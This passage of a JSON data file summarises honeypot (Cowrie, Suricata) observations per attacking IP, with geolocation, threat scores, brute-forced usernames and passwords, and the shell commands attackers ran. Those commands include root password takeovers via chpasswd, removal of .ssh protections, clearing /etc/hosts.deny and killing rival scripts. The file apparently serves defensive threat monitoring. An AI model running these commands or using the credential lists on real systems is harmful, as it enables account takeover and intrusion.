        "echo -e \"craft123\\nXY1VCqgzdn8V\\nXY1VCqgzdn8V\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 151858,
      "as_org": "INTERDIGI JOINT STOCK COMPANY",
      "threat_score": 29.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.2,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 528,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T22:52:30.690000+00:00",
        "last_seen_30d": "2026-03-18T10:03:17.270000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 440,
        "Suricata": 88
      }
    },
    "61.2.141.217": {
      "attack_count": 364,
      "first_seen": "2026-03-02T03:00:24.665Z",
      "last_seen": "2026-03-02T21:06:53.057Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1233218613",
        "!@#QWE123",
        "111...aaa",
        "112233445566778899",
        "121314",
        "123456@A",
        "123456Sa",
        "123@qq.com",
        "1qaz@WSX!",
        "Aq123456",
        "Mm12345",
        "Pa$$w0rd666",
        "Qwert123456",
        "Test123!@",
        "Testing@123",
        "Tt123456",
        "Zaq123",
        "Zaq1@wsx"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:IyoM1S2aQyLw\"|chpasswd|bash",
        "echo \"root:fQPxryAjul8t\"|chpasswd|bash",
        "echo \"root:nNmEqKS6kljg\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Palakkad",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 455,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T03:00:24.665000+00:00",
        "last_seen_30d": "2026-03-02T21:07:55.501000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 364,
        "Suricata": 91
      }
    },
    "58.69.56.44": {
      "attack_count": 340,
      "first_seen": "2026-03-02T19:39:56.091Z",
      "last_seen": "2026-03-23T13:04:06.436Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "user",
        "admin1",
        "administrator",
        "git",
        "insight",
        "irvps",
        "lighthouse",
        "nikhil",
        "noc",
        "pdv",
        "princess",
        "user15"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1233218613",
        "#EDC2wsx",
        "123",
        "1Qazxsw@",
        "232323",
        "4321",
        "Admin@123!",
        "Gg123456.",
        "Git123",
        "Lighthouse123",
        "Nikhil123",
        "Qwe123!!",
        "Wu123456",
        "a",
        "administrator@123",
        "asterisk",
        "hallo12",
        "icui4cu"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"a\\n9ntGQV9fqrBK\\n9ntGQV9fqrBK\\n\"|passwd",
        "echo \"root:HOzRjkUG33lQ\"|chpasswd|bash",
        "echo \"root:fTBIv1I6JMPW\"|chpasswd|bash",
        "echo -e \"a\\n9ntGQV9fqrBK\\n9ntGQV9fqrBK\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Mabalacat",
      "asn": 9299,
      "as_org": "Philippine Long Distance Telephone Company",
      "threat_score": 41.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.2,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 419,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T19:39:56.091000+00:00",
        "last_seen_30d": "2026-03-23T13:05:07.289000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 340,
        "Suricata": 79
      }
    },
    "117.216.211.19": {
      "attack_count": 338,
      "first_seen": "2026-03-02T20:13:53.918Z",
      "last_seen": "2026-03-03T21:22:54.364Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1233218613",
        "123456a@",
        "1234qwerty",
        "1234rfv",
        "151515",
        "1qaz$RFV",
        "21ops.comM",
        "@dmin2024",
        "Aa1234567",
        "As123456@",
        "Bingo@1993",
        "Welcome@1234",
        "ZAQ123wsx",
        "ZL123456@",
        "a123456a",
        "assign",
        "hahaha",
        "jimmy"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1233218613\\n5X8ADsbmwIiZ\\n5X8ADsbmwIiZ\\n\"|passwd",
        "echo \"root:2KKgDSJjJcPM\"|chpasswd|bash",
        "echo \"root:eOyWID8gjbk2\"|chpasswd|bash",
        "echo -e \"1233218613\\n5X8ADsbmwIiZ\\n5X8ADsbmwIiZ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Kanakapura",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 413,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T20:13:53.918000+00:00",
        "last_seen_30d": "2026-03-03T21:23:55.624000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 338,
        "Suricata": 75
      }
    },
    "35.240.75.51": {
      "attack_count": 332,
      "first_seen": "2026-03-21T09:09:29.958Z",
      "last_seen": "2026-03-23T15:25:56.421Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ctf",
        "eduardo",
        "vivek",
        "appltest",
        "crm",
        "django",
        "gg",
        "gui",
        "helen",
        "huawei",
        "john",
        "lq",
        "ovh",
        "ps",
        "root",
        "scan",
        "solr",
        "student6",
        "student9"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "Django",
        "Eduardo123",
        "Huawei12#$",
        "Solr123!",
        "Tiptop123",
        "Woaini123",
        "ctf123!",
        "gg@123456",
        "helen123",
        "lq1234",
        "ovh1234",
        "password",
        "scan123",
        "student6password",
        "syncthingsyncthing"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Eduardo123\\nhz9GetoAKGMV\\nhz9GetoAKGMV\\n\"|passwd",
        "echo \"ctf123!\\ntXMXoOKwymVn\\ntXMXoOKwymVn\\n\"|passwd",
        "echo \"vivek@123456\\neyxSrV3z6kMt\\neyxSrV3z6kMt\\n\"|passwd",
        "echo -e \"Eduardo123\\nhz9GetoAKGMV\\nhz9GetoAKGMV\"|passwd|bash",
        "echo -e \"ctf123!\\ntXMXoOKwymVn\\ntXMXoOKwymVn\"|passwd|bash",
        "echo -e \"vivek@123456\\neyxSrV3z6kMt\\neyxSrV3z6kMt\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 404,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T09:09:29.958000+00:00",
        "last_seen_30d": "2026-03-23T15:26:58.907000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 332,
        "Suricata": 72
      }
    },
    "103.48.84.178": {
      "attack_count": 330,
      "first_seen": "2026-03-12T08:35:22.113Z",
      "last_seen": "2026-03-12T09:00:58.280Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ks",
        "n8n",
        "personal",
        "root",
        "alumno",
        "cs",
        "mailuser",
        "syncuser",
        "test",
        "user10",
        "vendas"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "Ctyun@2026",
        "alumnopass",
        "cs123",
        "ks123",
        "n8n",
        "personal2025",
        "test12345678",
        "user10123",
        "vendas123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"ks123\\nSzOxEdhXOzaA\\nSzOxEdhXOzaA\\n\"|passwd",
        "echo \"n8n\\nTHT62S9rl0GF\\nTHT62S9rl0GF\\n\"|passwd",
        "echo \"personal2025\\nNopGj7aYsEmo\\nNopGj7aYsEmo\\n\"|passwd",
        "echo \"root:e6KS18C37QIU\"|chpasswd|bash",
        "echo -e \"ks123\\nSzOxEdhXOzaA\\nSzOxEdhXOzaA\"|passwd|bash",
        "echo -e \"n8n\\nTHT62S9rl0GF\\nTHT62S9rl0GF\"|passwd|bash",
        "echo -e \"personal2025\\nNopGj7aYsEmo\\nNopGj7aYsEmo\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131423,
      "as_org": "Branch of Long Van System Solution JSC - Hanoi",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 373,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T08:35:22.113000+00:00",
        "last_seen_30d": "2026-03-12T09:01:58.599000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 330,
        "Suricata": 43
      }
    },
    "196.28.242.198": {
      "attack_count": 312,
      "first_seen": "2026-03-15T16:03:41.698Z",
      "last_seen": "2026-03-24T21:46:11.080Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "git",
        "hamza",
        "root",
        "simon",
        "bin",
        "datacenter",
        "furutani",
        "hath",
        "jason",
        "jenkins",
        "king",
        "master",
        "masterkey",
        "odoo5",
        "prueba",
        "spawner",
        "student2",
        "suhp",
        "user0"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "150895",
        "1qaz3edc",
        "1qazxsw2",
        "anon",
        "dodol123",
        "git123456",
        "google",
        "hathpass",
        "jason",
        "master",
        "masterkey",
        "odoo5",
        "simon123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nNbUxowImORqS\\nNbUxowImORqS\\n\"|passwd",
        "echo \"git123456\\nIp6NzMyWOB8H\\nIp6NzMyWOB8H\\n\"|passwd",
        "echo \"simon123\\nw6Z3BYxZFYhb\\nw6Z3BYxZFYhb\\n\"|passwd",
        "echo -e \"12345678\\nNbUxowImORqS\\nNbUxowImORqS\"|passwd|bash",
        "echo -e \"git123456\\nIp6NzMyWOB8H\\nIp6NzMyWOB8H\"|passwd|bash",
        "echo -e \"simon123\\nw6Z3BYxZFYhb\\nw6Z3BYxZFYhb\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Burkina Faso",
      "country_code": "BF",
      "city": "Ouagadougou",
      "asn": 25543,
      "as_org": "Onatel",
      "threat_score": 35.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 375,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T16:03:41.698000+00:00",
        "last_seen_30d": "2026-03-24T21:47:15.771000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 312,
        "Suricata": 63
      }
    },
    "39.115.183.206": {
      "attack_count": 291,
      "first_seen": "2026-03-08T17:48:03.721Z",
      "last_seen": "2026-03-14T13:18:54.822Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "ftpd",
        "public",
        "amin",
        "dan",
        "git",
        "roots",
        "saad",
        "search",
        "sftpuser",
        "tanvir",
        "testing",
        "timemachine",
        "ts3server",
        "ubuntu",
        "x"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "1234",
        "12345",
        "Abcd1234",
        "Qwerty123",
        "Test123@",
        "Ts3server123",
        "amin123",
        "ftpd",
        "gitpass",
        "search1234",
        "timemachine123!",
        "xpass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nWxFzu66PBhai\\nWxFzu66PBhai\\n\"|passwd",
        "echo \"ftpd\\nEgg7XWspWVjY\\nEgg7XWspWVjY\\n\"|passwd",
        "echo \"root:FjRURpt0MUDe\"|chpasswd|bash",
        "echo -e \"12345678\\nWxFzu66PBhai\\nWxFzu66PBhai\"|passwd|bash",
        "echo -e \"ftpd\\nEgg7XWspWVjY\\nEgg7XWspWVjY\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yeongdeungpo-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 18.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.4,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 345,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T17:48:03.721000+00:00",
        "last_seen_30d": "2026-03-14T13:20:00.774000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 291,
        "Suricata": 54
      }
    },
    "45.175.37.18": {
      "attack_count": 282,
      "first_seen": "2026-03-15T01:05:21.025Z",
      "last_seen": "2026-03-26T08:17:25.045Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ll",
        "llm",
        "valheim",
        "vicente",
        "adminuser",
        "alice",
        "bitrix",
        "gestion",
        "node",
        "palworld",
        "root",
        "rramirez",
        "sumit",
        "vpsuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "password",
        "12345",
        "Palworld123",
        "Valheim123!",
        "alicepass",
        "bitrix123",
        "llpass",
        "node123!",
        "password!@#",
        "vicente"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nGP8Uhfp1NUB8\\nGP8Uhfp1NUB8\\n\"|passwd",
        "echo \"Valheim123!\\n3M4YA11HFq99\\n3M4YA11HFq99\\n\"|passwd",
        "echo \"vicente\\nax09bVc3mfqS\\nax09bVc3mfqS\\n\"|passwd",
        "echo -e \"123456\\nGP8Uhfp1NUB8\\nGP8Uhfp1NUB8\"|passwd|bash",
        "echo -e \"Valheim123!\\n3M4YA11HFq99\\n3M4YA11HFq99\"|passwd|bash",
        "echo -e \"vicente\\nax09bVc3mfqS\\nax09bVc3mfqS\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 267843,
      "as_org": "TCA SERVICES C.A.",
      "threat_score": 84.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.6,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 365,
        "days_active_30d": 28,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T10:53:05+00:00",
        "last_seen_30d": "2026-03-31T16:13:23.025000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 282,
        "Suricata": 66,
        "Honeytrap": 17
      }
    },
    "103.250.11.207": {
      "attack_count": 268,
      "first_seen": "2026-03-10T19:24:24.960Z",
      "last_seen": "2026-03-19T14:46:09.919Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "himanshu",
        "luis",
        "andrea",
        "auser",
        "bot",
        "btm",
        "clawd",
        "ekp",
        "gold",
        "irene",
        "jose",
        "linuxacademy",
        "nexus",
        "nico",
        "stefan",
        "terraria",
        "test",
        "testtest"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1029",
        "1234",
        "12345678",
        "123456789",
        "Ekp123",
        "Lh123456",
        "Linuxacademy",
        "Stefan123!",
        "Tibero",
        "Ts1123!",
        "andreapass",
        "btm@123",
        "goldpass",
        "josepass",
        "reflex"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\nNq5yYDoLiMVa\\nNq5yYDoLiMVa\\n\"|passwd",
        "echo \"123\\ni3LSWHU1DobK\\ni3LSWHU1DobK\\n\"|passwd",
        "echo -e \"1234\\nNq5yYDoLiMVa\\nNq5yYDoLiMVa\"|passwd|bash",
        "echo -e \"123\\ni3LSWHU1DobK\\ni3LSWHU1DobK\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 27.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 340,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T19:24:24.960000+00:00",
        "last_seen_30d": "2026-03-19T14:47:12.539000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 268,
        "Suricata": 72
      }
    },
    "43.159.53.15": {
      "attack_count": 259,
      "first_seen": "2026-03-03T11:17:05.585Z",
      "last_seen": "2026-03-03T11:44:22.962Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345Qwerty",
        "123abc321",
        "77777777",
        "@",
        "Aaa123321",
        "Bingo@1993",
        "Zk123456",
        "a123456*",
        "kubeadmin",
        "rootuser",
        "test"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:ClHiVQs8js7U\"|chpasswd|bash",
        "echo \"root:JfztqXIQUtF9\"|chpasswd|bash",
        "echo \"root:NSi9iwJiYdX1\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
